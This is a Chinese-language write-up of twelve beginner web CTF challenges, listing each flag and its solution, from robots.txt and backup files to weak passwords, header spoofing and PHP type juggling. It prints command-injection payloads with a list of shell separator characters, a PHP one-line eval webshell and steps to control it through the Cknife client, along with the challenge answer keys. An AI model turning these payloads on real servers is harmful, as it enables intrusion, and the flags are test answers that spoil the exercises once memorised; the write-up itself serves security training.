WEB CTF入门学习

  • 入门题1 view_source
  • X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。
  • 答案:cyberpeace{ffbb0c3dcdb78ed0674f699dc967ce67}
  • 解析:打开网址http://220.249.52.133:31520/,F12调试模式,查看源码,即可发现flag: cyberpeace{ffbb0c3dcdb78ed0674f699dc967ce67}
  • 入门题2 get_post
  • 题目描述:X老师告诉小宁同学HTTP通常使用两种请求方法,你知道是哪两种吗?
  • 答案:cyberpeace{6b4ffe588795f0221357e0bca8c7b396}
  • 解析:在postman上使用get请求,然后根据返回使用post在请求一次,得到flag.

 

  • 入门题3 robots
  • 题目描述:X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。
  • 答案:cyberpeace{bf34b671c82a571999563a558b08422a}
  • 解析:Robots协议称为爬虫协议,是网站和爬虫之间的协议,网站通过robots.txt 文件明确告诉爬虫网站那些数据信息可以被爬取。所以说搜素引擎的爬虫第一个访问的就是网站的robots.txt文件,查看其是否存在,存在则可以得到那些页面可以爬取。获取网站robots.txt文件,得到:
  • 然后访问http://220.249.52.133:57629/f1ag_1s_h3re.php
  • 看到flag:
  • 入门题4 backup
  • 题目描述:X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!
  • 答案:Cyberpeace{855A1C4B3401294CB6604CCC98BDE334
  • 解析:访问URL,可以看到如下内容:
  • 接下来访问其备份文件:
  • 220.249.52.133:53260/index.php.bak
  • 访问可以下载到一个备份文件,打开可以看到flag.
  • 入门题5 cookie
  • 题目描述:X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’
  • 答案:cyberpeace{7025e91937f29b529033285b731a72ea}
  • 解析:这题主要考对cookie的基本认识,使用postman访问url:

  • 看到cookie的值,继续访问:
  • http://220.249.52.133:46346/cookie.php
  • 看响应,去查看http响应头,可以看到flag:

  • 入门题 6 disabled_button
  • 题目描述:X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢?
  • 答案:cyberpeace{ae74951df5a13b95f7b5d11a0ff196df}
  • 解析:这个题看眼对HTML只是的认识:浏览器访问过后将其input的disabled属性删除即可点击,点击过后得到flag.
  • 把图中的disabled=””删除,保存。然后点击按钮即可。
  • 入门题7 weak_auth
  • 题目描述:小宁写了一个登陆验证页面,随手就设了一个密码。
  • 答案:cyberpeace{99ebf561056a2b8d2c6f5f9621765d62}
  • 解析:这题就是弱密码的考验,常见的就是admin  密码 123456,输入点击登录得到flag.
  • 入门题8 command_execution
  • 题目描述:小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。
  • 答案:cyberpeace{9a36ab264d1ea981ad6be44d0344795a}
  • 解析: 这题考得的是ping命令的注入,常见的命令截断字符:‘$’‘;’‘|’‘-’‘(’‘)’‘反引号’‘||’‘&&’‘&’‘}’‘{’'%0a’可以当作空格来用;ip=220.249.52.133;ls -a  / 测试下是否存在命令注入,发现存在:

  • 那么尝试查找flag.txt文件,ip=220.249.52.133;find / -name "flag.*"

     得到:ping -c 3 ip=220.249.52.133;find / -name "flag.*"

          /home/flag.txt

  • 找到flag.txt文件位置,使用cat查看文件内容:ip=220.249.52.133;cat /home/flag.txt 得到flag.
  • 入门题9 simple_php
  • 题目描述:小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。
  • 答案:Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}
  • 解析:php代码如下:
    <?php
    show_source(__FILE__);
    include("config.php");
    $a=@$_GET['a'];
    $b=@$_GET['b'];
    if($a==0 and $a){
        echo $flag1;
    }
    if(is_numeric($b)){
        exit();
    }
    if($b>1234){
        echo $flag2;
    }
    ?>

     

  • 通读代码说明a b的值都是get方式传输给服务端,想要获取flag就得让第一个if和第三个if都是真,第二个是假。== 代表php的弱比较,只比较值是否相等,字符串和数字==比较时,转换为数字时,从字符串第一个非数字字符开始,到第一个非数字字符结束,故“cc”就是0. 但是if cc 就是true,传唤为ascII 码比较,具体规则可参考:https://www.runoob/php/php-types-comparisons.html
  • 故可以构建请求 :http://220.249.52.133:54962/?a=c&b=2232c 得到flag:Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}
  • 入门题 10 xff_referer
  • 题目描述:X老师告诉小宁其实xff和referer是可以伪造的。
  • 答案:
  • 解析: xff:X-Forwarded-For是http请求头的一个字段,标识请求源的ip地址,Referer: 代表http请求的来源。这题其实就是伪造这两个字段:按照题目要求伪造X-Forwarded-For:123.123.123.123 ,得到响应,要求必须来源于:https://www.google,添加Referer,再次请求可以得到flag在响应中得到:cyberpeace{ec307b60ddde418609b7defa46a43e92}
  • 入门题 11 webshell
  • 题目描述:小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。
  • 答案:cyberpeace{5e70bcd88a80c525a7b8a1ee1b1c8c27}
  • 解析:打开url后可以看到<?php @eval($_POST['shell']);?> 可以得知这句话是php的一句话木马,可以使用过Cknife进行连接,Cknife github的源码地址:https://github/Chora10/Cknife  ,这里给出一个自己下载编译后的下载地址:https://pan.baidu/s/15OUkzP8xcTNkUDlSv3QOkA
  • 提取码:i3p1 ,下载解压后,在cmd命令窗口执行:java -jar Cknife.jar  运行起来,添加配置如下:
  •  
  • 然后选择文件管理:打开后可看到一个flag.txt文件,打开得到flag.
  • 入门题12 simple_js
  • 题目描述:小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} )
  • 答案:Cyberpeace{786OsErtk12}
  • 解析:打开url,随意输入密码,F12打开,查看源码,可以看到如下js代码:
  • <script>
    
    var n=String.fromCharCode(55,56,54,79,115,69,114,116,107,49,50);
    
        document.write(n);
    
    
        function dechiffre(pass_enc){
    
            var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
    
            var tab  = pass_enc.split(',');
    
                    var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
    
                            k = j + (l) + (n=0);
    
                            n = tab2.length;
    
                            for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
    
                                    if(i == 5)break;}
    
                            for(i = (o=0); i < (k = j = n); i++ ){
    
                            o = tab[i-l];
    
                                    if(i > 5 && i < k-1)
    
                                            p += String.fromCharCode((o = tab2[i]));
    
                            }
    
            p += String.fromCharCode(tab2[17]);
    
            pass = p;return pass;
    
        }
    
    debugger
    
        String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
    
    
        h = window.prompt('Enter password');
    
        alert( dechiffre(h) );
    
    
    </script>

     

  • 查看js代码可以知道,无论输入什么,输出的都是pass经过String.fromCharCode转换后得到的字符串,尝试将此字符串输入flag,错误。那就将dechiffre里传入的字符串经过var tab  = pass_enc.split(',');后得到的数组,放入String.fromCharCode进行转换尝试,得到一串字符,按照格式输入,正确。Js在线调试地址:https://www.runoob/try/try.php?filename=tryjs_events
  •  

 

更多推荐

WEB CTF入门题解析